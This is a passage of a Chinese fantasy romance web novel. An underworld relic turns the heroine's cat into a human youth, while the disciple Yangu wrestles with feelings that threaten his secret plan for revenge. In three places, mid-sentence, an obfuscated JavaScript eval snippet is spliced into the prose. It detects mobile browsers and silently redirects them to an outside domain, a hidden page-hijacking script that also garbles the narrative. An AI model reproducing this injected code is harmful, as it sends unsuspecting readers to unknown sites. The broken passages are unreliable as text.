他慢慢松开已经深陷进手心的指尖,将布满痕迹的手心不着痕迹地藏在背后。 青晏环视着四周覆满冰霜的桂久村,心中暗暗讶异。 颜故在被逼到绝境时竟能有如此惊人的爆发力?这等潜质可真是极为罕见,等下回去定要让宸景多多培养才是。 一想到天界多了如此栋梁之材,她看向颜故的目光不禁更加柔和,可这柔和的目光似乎不仅没能让颜故感受到她的欣慰,反而倒让他身子看起来更加紧绷,手也往耳后摸了过去,看起来一副极为不自在的样子。 难道是我此前很少对他露出过这样的神情,所以导致现在看起来很奇怪么?青晏不由得短短反思了一瞬。 不过很快她便把这些细枝末节抛在脑后,迅速召出了当初把他们送至人界的那个巨幅山水画。她在一旁谨慎地守着,待其余三人都已进入画中,方才也跟着迈了进去。 天界密林里,明煦一边龇牙咧嘴地往太垣南门的方向走着,一边对颜故问道:“你刚才说那玩意是什么,幽冥界丢失的圣物幽煞珠?” 颜故低低应了一声:“不确定,只是恰好听说有这么个珠子形状的东西丢了,感觉和那小瓶子里的东西对得上。” 青晏道:“我虽听说过此物,却并未真正见过。等下拿去给宸景看看,想来他是有可能认识的。” 她按了按额角,语气里罕见地带上了火气:“这么多年过去了,幽冥界竟然还是一点长进都没有,自己家的圣物都能弄丢?更何况前脚刚丢,后脚就被人转交给了产鬼好让她下死手,这绝对没有哪怕一星半点的可能是巧合。我倒要好好查查,看到底是谁有这么好的手段,连幽冥界的圣物都能拿来当作工具利用!” “仙子,”颜故轻轻唤她,“已经过去了,别怕。” 青晏张了张嘴,本能地想反驳,却怎么也说不出口。 被颜故这么一提醒,她才后知后觉地发现,自己胸腔内四处乱撞着的情绪不单单是焦躁,里面更多的,反而是后怕。 此前与产鬼缠斗时,自己满脑子都是如何不让她察觉出自己正在一点点扩散着的幻术,若是此计不成又该如何才能脱身。而当回到了熟悉的环境里,她才终于能让自己始终高悬着的心略略放松下来,才能品出其实一直在心间荡漾着,只是不被允许感受到的情绪。 她是害怕的。 若真的落败,苦修多年方才升仙的颜故与唐禾将会就这么毫无意义地命丧于此,而自己出发前对宸景许下的,会将明煦安全带回的承诺也将变成一句空话。届时不仅宸景本人没了妹妹,天界的至尊也将永远缺失一块仙魂,而这一切,都是因为她没能好好履行保护者的责任。 好在他们还算幸运,好在这一切都没有发生。 青晏长长吐出一口气,对颜故扬起一抹温和的笑,重复道:“是啊,已经过去了。” 她转过头去,神情已经恢复了正常,可颜故仍定定地看着她,失了血色的嘴唇动了动,却终究是没能发出只字片语。 他感到心里漫起一股奇怪的酸意,伴随着自己从刚才开始就一直未曾平复的心跳,缓慢却又坚定地让他的胸口逐渐变得闷痛。 过去了吗? 真的,过去了吗? 54.悸动 青晏坐在玄镜宫前殿里,看着平时总是沉静从容的如樱此时像一只炸了毛的猫一样在屋子里乱窜,在数个她平时宝贝得不行,轻易不拿出来展示的药箱前来回翻找,以一副想要把他们全都淹死在药里的气势掏出来好几十个瓶瓶罐罐。 真正的猫大爷初三此时正依偎在明煦怀里,满眼含泪地给她舔舐着伤口,大颗大颗的眼泪珠子啪嗒啪嗒地落在明煦伤口周围,弄得她痒极了,却又不好意思把初三推开。 人家小猫对你好呢,这点难受劲儿忍忍就过去了,明煦一边暗自抽着凉气一边想。 早在看见他们这群伤员迈进玄镜宫的一刹那便发出了一声魂飞魄散的尖叫,随即风风火火跑了出去的如桃此时怀里抱着一大堆丹药疾速冲了进来,惊得青晏问她:“你这是去哪打劫了?” 如桃大声嚷嚷:“怎么能是打劫!这都是这些年来各位仙子仙君送过来的灵丹,我都有好好存着的,库里还有很多,我只是先拿来这些,快!”她飞快掰开一个丹药,一把塞进离她最近的唐禾嘴里,“先补上,然后再对症下药!” 唐禾“唔唔”地咽了下去,果真觉得身上轻快了些许。如桃火急火燎地给他们发着灵丹,似乎生怕晚了一瞬便要再生什么变故似的。 青晏见状哭笑不得,刚想说情况倒也没有这么危急就看见了如桃通红的眼眶,只好沉默着轻轻摸了摸她的后背以示安抚。 如樱如桃自万年前的天魔大战后便没见自己受过伤,一时间慌乱也很是正常,更何况这幽煞珠的力量实在太过强劲,导致其他三人身上的伤口看起来确实吓人了些…… 如樱终于从她那堆瓶瓶罐罐里翻出来了所有可以驱散幽冥之力的药,如今正轻柔地给伤得最重的唐禾涂抹着,不断从伤口里丝丝缕缕冒出来的黑气随之消散。初三见状也不再舔舐明煦的伤口,而是一头扎进她怀里不再动弹,只有明煦自己能感受到垫在它小脑袋瓜下的布料湿了一块。 青晏这边已经跟负责看守天界灵泉的仙君传念打好了招呼,正打算等下带明煦他们去泡一泡好恢复一下灵气,外面的小仙侍便急急忙忙来传:“仙子,天——” 还没等小仙侍话说完,一道闪电般的金光划破天际,一脸凝重与焦急的宸景就这么出现在所有人面前,连明煦怀中的初三都被惊得探出头来看他。 宸景的目光不受控制地往明煦那瞟了过去,见她瞪着双圆溜溜的杏眼,目光在他和青晏两个人身上扫来扫去,一副看热闹不嫌事儿大的模样,就知道虽然她看起来样子凄惨了些,经脉应还是没什么太大问题,这心才略微往下放了放。 即便如此,他仍是忍不住地想要做些什么,于是赶紧转过头去,对青晏目光灼灼道:“玄镜仙子可还安好?” 青晏太明白他什么意思了,遂一指明煦:“安好,感谢天帝关怀。不过燃乐仙姬身上的幽冥之气太重,恳请天帝……” 她话都没说完宸景就迫不及待抬起手,澎湃灵力就这么不由分说地被输送到了明煦身上。 明煦只感觉一股暖意流过自己四肢百骸,全身上下都极为畅快,好似泡在汤泉里一样舒服惬意。那些仍在她体内让她隐隐作痛的幽冥之气被这股力量尽数驱逐,她甚至莫名觉得自己的经脉都更加活络了。 真不愧是天帝啊!随手放点灵力都能有这样神奇的效果! 明煦心里“咕嘟咕嘟”地冒起了崇拜的小泡泡,顿时觉得他和自家青晏更加般配了。 然而宸景却冷着脸看她:“怎么伤得这样重,平日里是不是又没有好好修行仙法?” 崇拜的小泡泡瞬间消下去不少。 明煦哽了哽喉咙,想为自己分辨几句却也反驳不出什么,只好悻悻闭嘴。宸景见她不高兴,不免开始反思自己方才语气是不是有些严苛,却又不好劝慰,只得沉声道:“只有平时多下苦功,危急关头才能游刃有余,修行武艺是这个道理,修行仙法也是一样。” 明煦小声嘟哝着:“可我们对上的是幽煞珠啊,我就是再努力修行也是白送,要不是青晏……” 宸景骤然回头盯着青晏:“幽煞珠?” 青晏颔首:“本打算稍作休整后再去找……禀报于你,但如今天帝既已亲临,不如就直接在此向你说明吧?” 见宸景点头,明煦懂事地带着其余人退了出去,还极为贴心地关上了门,抱着初三坐在院子里看如樱给颜故涂着可以驱散幽冥之力的奇药。 “今晚可得让厨房多做些菜,搞了这么一通惊心动魄的,说什么也得吃点好的压压惊。”明煦朝颜故和唐禾抬了抬下巴,“你们想吃什么?” 颜故侧过脸去,低声道:“我有点累,想先回去休息,今日便不和大家一起吃了。” 明煦犹豫道:“你……没事吧?” 颜故面上挂着彬彬有礼的笑容:“没事,已经好多了,只是有些累。” “那好吧……有什么不舒服的地方一定要及时和我们说哦。”明煦看向他的目光仍有些担忧,但见颜故离开时的步伐平稳自若,确实不像有什么大碍的样子,便也放下心来,开始和唐禾盘算起今晚到底要点多少道菜了。 回初琅殿的路上,有不少小仙侍都与颜故打着招呼,而他也一如往常那般温声回应着每一句问候,就连笑容的弧度都保持得和平时一样完美。及至推开殿门,他才终于卸下那道仿佛已经镌刻在面庞上的淡笑,木然地拣了离他最近的椅子坐下。 他靠在椅背上呆坐了半晌,突然苦笑一声,黯然地闭上了眼睛。 没事,怎么可能没事。 他的心已经被难以言喻的恐慌占满了。 胸腔中愈发强烈的心跳撞得他神智有些纷乱,颜故本能地躬了躬身,希望能将这股剧烈的悸动平息上些许。 可他做不到。 他从没有想过,在目睹“青晏”身受重伤濒死的那一刻,自己心中浮现出的想法居然不是这么多年来围绕青晏所做的全部计划和努力统统付之东流的愤怒,而是巨大的,令他浑身发冷的惧怕。 他害怕的,竟然是青晏本人的消失。 颜故目光空洞地望向前方,心不住地向下坠去,但他仍挣扎着,不愿去想那个其实已经明显到摊开在他面前,让他不得不去看的可能性。 他在乎她。 而且已经到了一种令他惶然的程度。 可怎么会呢,这不应该,明明在接近她之前就已经做好了万全准备,明明自己才是那个处心积虑摸清她的喜好,精心算计如何获取她的好感,一言一行都竭力扮演成她会欣赏的模样的人,又怎会生出这样的情绪? 不,绝对不行。 颜故咬牙。 只有弱者才会被情绪掌控,只有弱者才会被情绪引着走向一条无法自拔的,可悲的路。而他早已在仇恨的烈火中被煅烧了太久太久,是绝不会,也绝不能允许自己的意志出现哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655501|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半点偏差。 那已经在他心间压抑了万年之久的仇恨,一定会由他自己亲手清算,任何事,任何人,都不能影响到那个他一定会得到的,决不容许失败的结果。 谁都不能。 他倏地抬眼看向前殿的方向,平日里总是带着几分温润笑意的眸子,此刻却好似一片浸润在暗夜里的深湖。 前殿里的青晏终于将她和宸景传念后的发生的这些事全都讲完,如今正坐在宸景设下的寂音结界里,痛饮如樱为她准备好的清凉果汤。 几口凉意下去之后,她方才感觉自己有些发干的喉咙缓了过来,于是转过身子对一旁面色要多难看有多难看的宸景道:“所以目前我的猜测是,你与明煦的真正关系已经暴露,对方之所以接连对明煦下手,是为了让你的仙魂永不完整,从根本上削弱你的修为与法力。” “虽然不知这件本该只有你我知晓的事究竟是如何泄漏的,但先借妖族做幌子,一击不成后又趁乱利用上幽冥界圣物,能有这样动机、能耐和手段的,除了魔尊风烬,恐怕再无第二人。” 宸景严肃道:“若真是风烬,那么便说明魔界即将卷土重来,天界需要尽早做好应战准备。” “是要准备,但我倒觉得这反而说明风烬不够自信。”青晏摇头,“换做是万年前的魔界,虽也有下作手段,但在占领其他几界时从来都是靠纯粹的力量碾压过去。” “可如今他们却这般畏手畏脚,又是靠着法宝在人界吸取魂魄,又是试图让你的仙魂永远残缺,种种迹象均表明风烬虽一如万年前那般野心勃勃,但他,或者说魔界如今的力量不足以让他做出和从前一样的选择,只能通过这种旁门左道达到目的。” 宸景微微抬着下巴:“旁门左道也好,野心勃勃也罢,天界从不畏惧。只是一旦开战,势必会给各界生灵带来无法弥补的创伤,所以最理想的情况,还是能让风烬彻底死了这条心。” “天界的内部防卫我会再细过一遍,看看还能如何提升。那些魔界法宝我也已经派人前去收缴,吸取魂魄这招很快便会行不通了。至于明煦,”宸景敲了敲桌子,态度坚决,“这回无论你和她有什么意见,我都不会再让她离开天界。我也不管她愿意与否,不能再这么由着她自在下去了,仙法修行这块必须得跟上。” 青晏耸耸肩:“我也没说要再下界,他们几个都伤得不轻,得好好养一段时间。” “光说他们了,你自己呢?”宸景半是责备半是关切地瞪着她,“别以为我感觉不到,你现在的灵力也所剩无几。” “起码我还算活蹦乱跳嘛,而且总会慢慢恢复的,”青晏不在意地摆摆手,“不说这个,有一件事让我非常疑惑,必须和你探讨才行。” 她组织了一下语言,困惑道:“以执灵那点力量,就算让我们中修为最浅的唐禾去也能轻松将他制伏,那魔界为什么要如此费尽心思把执灵送到明煦面前?难道只是为了让她想起过去的回忆?如果是这样,对魔界又有什么好处呢?” 宸景沉思片刻:“那不妨假设一下想起来的后果。以明煦的性子,她怕是不愿意回忆起这些痛苦的事情。若是真的被迫想起,怕是在伤心难过之余,也会觉得极为烦躁。” 青晏有些惊讶。 她了解明煦,之前也已从明煦口中听到过类似的说法,所以清楚她确实会是这样的反应。但宸景与明煦几乎没有时间相处,他怎会如此明白她? 55.初三 宸景继续道:“我倒不是认为她承受不住,而是她一定会觉得事情已经过去这么久了完全没有转圜余地,没有必要让自己徒增烦恼。”丰神俊朗的天帝目光柔和,“小时候她就是这副性子,如今看来也没怎么变吧?” 这倒确实。 青晏挑挑眉算是回答,随即又道:“不过我觉得,这个让明煦伤心难过,或是烦躁的结果,和魔界为了达到此效果而耗费的心思比,也太不相当了。所以我目前能想到的最合理的解释,就是对方只是想用这一步棋来扰乱明煦的心神,好让她在幽煞珠面前无法施展全力。” “虽不知这执灵他们是怎么找到的,但毕竟明煦身上有一缕你的仙魂,魔界或许只是想尽其所能地去削弱这一点,即便执灵能起到的作用微乎其微,他们也要赌上一赌。” 她与宸景讲起明煦在危急关头爆发出的漫天金色烈焰,宸景闻言神色有些复杂。 他低低叹了一声:“没想到我的这缕仙魂竟能与她融合得这样好,想来是一母同胞,血浓于水的缘故。可若是没有这缕仙魂,她也不会成为魔界的目标,就像如果没有我这个哥哥,她也根本不会承受那本该由我经历的,在亡国之恨中无助挣扎的痛苦……” “你看看,这就是你不如明煦的地方了。人家都知道已成定局之事多思无益,你还在这感慨什么?” “那不一样,我本该是保护她的兄长,不应给她带来苦痛才是……”宸景摇了摇头,叹息道:“算了,还是想想接下来该做的事吧,得好好查查这关系到底是怎么暴露的,又是不是真的只有魔界想对明煦不利。” 青晏眯眼:“什么叫只有?你是怀疑树妖那次并非魔界手段?” 言毕她便神色一凛,不等宸景回答便已明白他的意思。 对啊,以风烬的性子和能耐,他只会出幽煞珠这种若不是他们足够侥幸根本无法逃脱的必杀局,而不是只简简单单派了一个被暗中下了禁制的树妖去袭击明煦。若是换做风烬,他只会想方设法将这个暴死的禁制下在明煦身上,确保宸景的那缕仙魂跟着一起灰飞烟灭。 宸景见她神情便知她已想通,于是道:“所以我说,这两件事怕是要分开看。我已经派人在天界的典籍里去找如何用渡生藤下出那个禁制的办法了,兴许能找到些线索。至于那幽煞珠……” 青晏的眼神意味深长:“反正已经是在内乱中丢了的东西,谁能知道在我们这呢?只需好好留着,届时若是谁着急坐不住找上门来,就是谁在配合魔界对我们下手。” 宸景笑意狡黠:“就知道你会这么说。” “少装,明明你自己也是这个意思。”青晏白他一眼。 宸景不置可否地耸了耸肩,看着青晏伸指轻弹玄元镜的边框。一颗微微冒着幽绿光芒的珠子随着她的动作从镜中晃晃荡荡飘出,浮在了她与宸景中间。 宸景点了点头:“确实是幽煞珠无误。” 青晏从未见过幽煞珠真容,不禁眯起眼睛想要仔细端详,可刚一凑近就听见门口一声轻响。 她扭头一看,原是初三用它的小脑袋瓜顶开了门,如今正旁若无人地伸头往里瞧着,看见宸景的时候居然还快速甩了两下尾巴,像是在对他还在这里表示强烈的不满。 宸景“啧”了一声:“你这猫养了这么多年怎么还是这么野,还是一幅把这当成它的领地不许外人进的烦人样子。” 青晏睨着他:“不许说我的小猫。” 宸景无语地看了她一眼:“都说慈母多败……算了,我说也没用。” 他伸手想要将幽煞珠收入袖中,可那珠子却仿佛有意识般躲开了他的动作,反而悄无声息地移动到了一幅挂画旁边。初三见那闪着光的珠子居然会动,情不自禁伸出爪子就要去勾,青晏见状立刻弯腰想要将它抱起。 幽煞珠可不是能拿来逗猫的东西! 然而她却捞了个空。 初三小日子一天天过得实在太好了,全身上下的毛都油光水滑的,根本没有抓手之处。初三见状灵活地扭身回头,得意地张了张嘴,小胡子一抖一抖的,发出了无声的嘲笑。 出人预料的变化就在这电光火石之间发生。 幽煞珠忽然毫无征兆地出现在了初三还未来得及闭上的嘴里,初三受此一惊,立即弹起舌头想要把这莫名其妙的东西吐出去,却在惊慌失措间将它吃进了肚中。 青晏大惊失色,扑身上前掰开初三的下巴,揪住它的后腿把它倒挂在半空中死命的摇晃,丝毫不见半点平时的沉着冷静。 那可是她的小猫呀,谁知道吃了这个鬼东西之后会发生什么! 初三被这突如其来的双重打击吓得边咳边叫,可无论青晏怎么疯狂抖落,它都没能成功把幽煞珠吐出。 宸景赶紧施术想要将幽煞珠从初三体内吸出,可就在术法落在它身上的那一瞬间,一道炽烈的火焰竟从初三腹部燃起,刹那间卷遍了它的全身。 初三登时发出凄厉的嚎叫,小小的身躯不断在越燃越旺的诡异烈焰中翻滚,散发着浓烈幽冥之气的火舌迅速舔上青晏的衣襟。 然而青晏丝毫不觉,只是不停地疯狂地,用她几乎已经干涸的灵力幻出各种她能想到的,可以将这火焰熄灭的东西。 可这些办法全都没有用。 宸景见状急切挥手,随着一道金光闪过,初三身上不断膨胀着的烈焰终于在宸景强硬的法力镇压下越来越小,直至能够看清火光里不断扭曲挣扎着的…… 人影。 青晏僵在原地,定定地看着那个随着火焰逐渐熄灭而变得愈发颀长的身影,思绪一片空白。 “哎,都要到饭点了你这门怎么还关着啊,该不会是咱们天帝陛下还没走吧?”明煦清脆的声音骤然在门外响起。 她斜着身子倚开了门,第一眼便看到了坐在地上的那个一袭白衣的绿眸少年。 啪嗒。 装满了鱼干的小包裹从她的手中滑落。 明煦睁大了眼睛,声音飘忽到有些梦幻:“你……是谁呀?” 那清秀绝伦的绿眸少年——不,应该说是刚化成人形的初三,也在呆呆地回望着明煦。 他刚从剧烈的痛苦中抽离,一时间还没有反应过来自己到底发生了什么翻天覆地的变化,只是遵循着本能,按照他平时只在明煦面前表现出来的乖萌模样,一脸天真地歪着头:“喵?” 明煦倒吸了一口气,不敢置信地扭头看向青晏,手指朝着少年的方向狂抖:“初,初三?” 初三的脑袋瓜变得更歪了。 他满心都是疑惑,不明白为什么明煦看到自己会是这个反应,不由得随着她手指的方向低头看去。 然后他便看到了两条结实修长的大腿,和已经不再毛茸茸圆乎乎,而是变得白皙如玉的肉垫——哦不对,现在应该是叫手了。 初三吓得肩膀一耸,赶紧用手死死捂住自己的脸,不敢抬头看明煦。 他在心里疯狂大叫—— 为什么?我刚才咽进去的到底是什么鬼东西?为什么我突然就化形了?刚才她看见我的时候连东西都拿不住了,是不是我的人形特别丑?怎么办?我能否认吗?可是我刚才脑子糊涂已经叫了一声啊,现在否认还有用吗?不对,光我否认不行啊,青晏和那个臭不要脸的天帝还在呢,他们要是说漏嘴了可怎么办啊? 初三猛地转头望向青晏,眼神中充满了和明煦一样热烈,但意义却完全相反的期待。 青晏被这两道“你快说!”和“你别说!”的目光盯得有些犹豫。 她迟疑地张了张嘴,正打算好好组织一下语言解释清楚这个连她自己都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711589|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点晕眩的事情,却被明煦敏锐地抓住了这个犹豫的含义。 明煦发出了一声喜悦的尖叫,一个箭步冲到初三面前,双手扳着他的肩膀就开始摇晃:“哎呦,瞧瞧我们宝儿,真是当猫也好看当人也好看,早知道你化形之后能这么好看,我早该去寻摸点仙丹给你当猫粮,咱还吃什么鱼干啊!” 初三简直不敢相信自己的耳朵。 他小心翼翼地抬眼瞄向明煦:“我,好看?” “好看呀!”明煦眼角眉梢都盈着笑意。 她习惯性地伸手呼噜了一下初三的头发,不假思索道:“你是我见过的最好看的人啦!” 初三的眼睛亮得吓人。 他试探着伸出手去,刚想和从前一样把它搭在明煦的肩上,就被明煦半路截住捏了捏:“哎呦,之前还是肉乎乎的小胖爪呢,现在瞧你这手指头,又细又长又白的,多好看。” 初三被捏了手心,心跳声更加声如洪雷。 他乖巧地坐在原地,任由明煦翻来覆去的捏他的手,一双碧绿的大眼睛眨也不眨地盯着明煦看。巨大的幸福感冲得他整个人晕晕乎乎的,脑子也好像漂在了幸福的泡沫里,一时间还转不过来弯。 而青晏脑子里却早已不知道拐了多少个弯。 她很快就从“初三暂时没事了”的宽慰中冷静了下来,开始思考起更加严肃的问题。 现在到底是什么情况,初三为什么会被幽煞珠催化成人形?这样会不会对他有什么不好的影响?虽然目前看起来一切正常,但那幽煞珠可是由幽冥界积年怨气凝结而成之物,就连她自己都会被那浓郁的幽冥之气伤到,更何况是她的小猫? 青晏下意识地侧身望向宸景,却没想到宸景也正好偏头看向她,面上透着一股说不出的凝重。 这神情让青晏心头猛地一凛。 对啊,让初三化形的不是别的什么东西,而是幽冥界的圣物。现在还不知道是否能将幽煞珠以不会伤害到初三的方式从他体内引出,若是不能,日后被幽冥界发现找上门来,又该如何应对?一旦处理不好,在这个魔界蠢蠢欲动卷土重来的时刻,幽冥界会不会怀恨在心,对天界暗施冷箭? 青晏眉头拧得死紧,余光里却瞥见宸景唇边噙着一抹极淡的笑意,正以一种极为温柔的眼神看着和初三玩闹的明煦。 ……你可千万别告诉我,你觉得这事儿能让你宝贝妹妹高兴就算值啊。 兴许是她的目光实在太锐利,宸景偏过头来轻咳一声:“毕竟已成定局之事多思无益,是吧。既然如此,能多一个人开心总是好的。” “就是明煦的眼光实在太令人忧心了,”宸景撇了撇嘴,“你那破猫本来就只是个凡间的普通小猫,做猫的时候外形就很是一般,现在化成人形也没有好到哪去。小猫崽子还没我好看呢,哪里就值得她乐成这样,无非就是‘自己家孩子才是最好看的’这种畸形的观念在她脑内根深蒂固,不然就这种长相的小男孩儿,我明天就能给你找出八百个来。” 青晏表情淡淡的:“说完了?” “说完了。” “把‘自己家孩子才是最好看的’这句展开讲讲呢?” “这有什么好展开的,就是字面意……”宸景突然反应过来,生生将自己舌尖上那个“思”字咽了回去,脸上拗出一个有些不自然的微笑:“哎呀,说起来你这次下界实在是功不可没,想要些什么奖赏?” 青晏客气道:“多谢天帝陛下,我这个人没什么太大追求,就要八百个和我们家初三一样好看的小男孩就行。” 宸景硬着头皮道:“好说,好说。” “聊什么呢?”明煦朝他们这个方向伸长了脖子,“能不能来个好心人解释一下初三为什么突然就化形啦?他自己也不明白怎么回事儿,让我问你们呢。” 56.心事 青晏和宸景对视了一眼,彼此都在对方眼中看到了绝对不能让明煦知道真相的意味。 幽冥界圣物被天界的一只小猫吞了进去的这件事,知道的人越少越好。 于是青晏故作轻松道:“哦,宸景得了一个宝贝,刚拿给我看的时候碰巧让初三吃进去了,应该是给他增加了不少法力,所以才化的形吧。” 明煦立刻紧张起来:“什么宝贝?初三吃了不会摊事儿吧?” “不会,”宸景赶紧安抚道:“一个前几天新贡上来的小玩意而已,别往心里去。” 青晏补道:“不过也还是不要跟别人说起来的好,不然万一被有心人拿去做文章,多少会产生点不良影响。若是真有人问起来,就说是我给他渡了法力,不碍事。” 明煦点点头,拉着初三从地上站了起来:“行,但告诉澈樾应该没事吧?初三这衣服也太素了,我想带他去天织坊做两身,要是澈樾有空的话就喊上他给把把关,我不太会挑男人衣服。” 初三瞬间想到那个时不时会过来串门的澈樾神君那一贯华丽丽,闪亮亮的日常衣着,随即开始剧烈地摇头。 明煦轻声哄着这只脾气大大的小猫:“没事儿,澈樾眼光好得很,每个人喜好不一样,他不会把你打扮成跟他一样的,放心吧。” 她继续道,“但你如果实在不喜欢的话,我自己领你去也行,不过这样我就只能按照宸景的样子打扮你了,毕竟我身边也没有其他的男……” “我们什么时候去见澈樾神君?”初三迅速截住她的话头,大眼睛一眨一眨,直看得宸景火气瞬间腾起。 “什么意思?他什么意思?你看看你们家这猫,我有当面说过他坏话吗?他怎么就敢这么理直气壮地当面嫌弃我?”宸景气得要死,却不敢让明煦听见,只好压低了声音在青晏耳边喋喋不休。 青晏懒洋洋地挥手赶开他的脸:“你跟一只猫较什么劲啊,还是先给我找八百个貌美小男孩要紧。” 宸景忿忿道:“你就护短吧你。” 明煦见他们俩这副贴在一起嬉戏耳语的场面,满脸笑意真是憋都憋不住,赶紧把自己的嘴唇紧紧抿住,一双杏眼水汪汪地发着亮。 初三见她这副欢喜到不行的餮足模样,看向宸景的目光变得更加不善了。明煦满心沉浸在她期盼已久想要看到的甜蜜画面里,完全没注意到初三的神情,然而余光里却忽然瞟见一个不知何时立在门外的人影。 “咦,颜故,你歇好啦?站外面干嘛呀,怎么不进来?” 青晏闻声向外看去,只见颜故垂手立在屋外,脸上说不出是什么表情。 见青晏从宸景身后露出脸来,颜故略垂了垂睫毛,随即舒展开一个极为温和礼貌的笑容:“天帝与仙子有要事相商,我不便打扰,自然在此等候。” 宸景有些严肃:“什么时候来的?” 颜故微微低头,目光落在面前的青石板上:“刚来。” 不知道他到底有没有见到初三吞下幽煞珠的场景,宸景有些不放心地看了青晏一眼,见她轻轻摇头表示无妨,面色方稍有缓和。 颜故将宸景和青晏的小动作尽数收入眼中,牙关不自觉紧了紧,但他仍是谦恭地略垂着头,直到宸景化作一道金光遁走,方才直起他那线条优美的脖颈,将视线落到了屋子里那个不知从哪冒出来的陌生少年身上。 他虽没有看到全部经过,但瞧那俊美少年与明煦的亲昵模样,以及他那明显到不能再明显的绿眸,面前这少年定然是已经化形的初三无疑。 可明明仙子曾言初三不过是她从人界带过来的普通小猫,这么些年来也从未修行过,为何突然就这么化成人形了呢? 该不会是…… 颜故盯着地上那道被烈火灼烧过的痕迹,眉头紧锁。 明煦就在此时向他招手:“来来来,我给你介绍一下,”她颇为自豪地拍了拍初三修长结实的后背,“这是刚刚化形的初三。怎么样,我们初三长得好看吧?” “十分英俊貌美。” 即使被夸了,初三对颜故也没露出什么笑意,只是敷衍地翘了翘唇角,满脸写着“我听见了”的倨傲神情。 他做猫的时候就对面前这个总是以温和笑颜示人的男人没什么好感,正常人谁会像他那样整日都一副春风拂面的模样,肯定是装的! 就算是被初三极为明显地敷衍了,颜故面上的微笑仍是没有减淡半分,只是安然在前殿坐下,和明煦笑着说自己歇了一阵后又有了胃口,所以最终还是选择过来和大家一起吃饭。 唐禾端着他亲自下厨大秀手艺的拔丝地瓜迈过门槛,第一眼就看见正死死盯着他的初三,吓得他手中端的一大海碗水差点泼洒出去。 不过在知道面前这个少年就是化形的初三之后,唐禾兴奋不已,手不由自主地就朝初三的脑瓜顶伸了过去,最终却只能在绿眸射出的无情目光里讪讪缩回。 初三的脑瓜顶暂时逃过一劫,不过这短暂的安全很快便随着如樱如桃的到来而被打破。这两位已经和初三混得太熟,知道什么时候该顺毛摸,不愿意的时候又该怎么强制摸,于是双双将初三按在原地,结结实实地揉搓了好一顿他那张漂亮到不像话的小脸后才意犹未尽地放开。 明煦开心得合不拢嘴,就好像那美丽的脸蛋是长在自己身上一般得意,眉飞色舞地说一定要去找书云,让她把初三也加进那张“各界郎君相貌榜”,还要紧盯着排名,就算是黑幕也要把初三塞进前十去。 一屋子欢天喜地的热闹里,只有两个人安静地坐在原地。青晏静静地看着他们嬉笑欢闹,嘴角噙着淡淡的笑,衬得原本有些清冷的轮廓都和柔了不少。 而颜故在沉默地望着她。 他的视线时不时从青晏的脸上移走,微微眯着笑眼去看其他人,装作对他们的欢乐也很享受的模样,随即很快便切回到青晏身上。 颜故也说不清自己为什么会这样,只是觉得眼睛仿佛不受控制一般总是朝那个方向溜过去,搞得他有些心烦意乱。 平日里也总是时时刻刻盯着仙子的,要想她所想,难她所难,要让那个本就独立自我的的她习惯身边有自己这么一个事事可以依赖的可靠后辈,继而获得她的信任,然后便是漫长的等待,等那个可以被她带去介绍给自己仇人的机会。 如今不也是在盯着她吗?又有什么不一样? 颜故垂下眼帘,用自己最拿手的微笑,将这顿在劫乱过后,带有很浓庆贺意味的“团圆饭”轻松地应付了过去。明煦准备带着唐禾离开时,他也顺势与青晏告辞,称自己要回初琅殿休息。 可青晏却没有答应。 “你暂且留下,”她抬眼看着颜故,“有事和你谈。” 颜故为她清澈眼瞳里映出的自己感到紧张。 是哪里露馅了吗?还是仙子要试探自己刚才是否正好撞见初三化形的过程?自己要装作毫不知情吗? 但他面上没有显露半分,仍是一切如常地点了点头,安静地跟在青晏身后,向仍有几分天光的后苑走去。 青晏在后苑湖边的秋千上坐了下来,随手一挥便给颜故也幻出了架一模一样的。他学着青晏的样子坐了下来,窝在秋千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765709|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里故作轻松地笑:“我都已经不记得上次坐秋千是什么时候了。” 青晏没有接他这句话。 后苑湖畔有微风吹过,将水面吹得泛起了皱。颜故看着眼前这画面,忽然觉得若是能看到自己的心,此时的它,应该也是这番模样。 就在这浓得让人忐忑不安的沉默中,青晏突然开了口。 她转身看着颜故那张精致绝伦的脸:“你有心事?” 颜故面上的笑容一僵:“什么?” “自幽煞珠一事后你便有些反常,是被吓到了吗?”青晏的目光里饱含担忧,“被吓到再正常不过,毕竟这确实绝非普通仙使历练时会遇见的东西,你们初出茅庐便有这样的遭遇实属罕见,我会与宸……天帝禀明,给你们额外加上一些功绩。” 颜故闻言有些失神。 许久后他方喃喃开口:“我不要功绩。我也……没有被吓到。” 青晏没有说话,只是飞快地挑了一下眉。 颜故极轻地笑了:“仙子可是不信?” 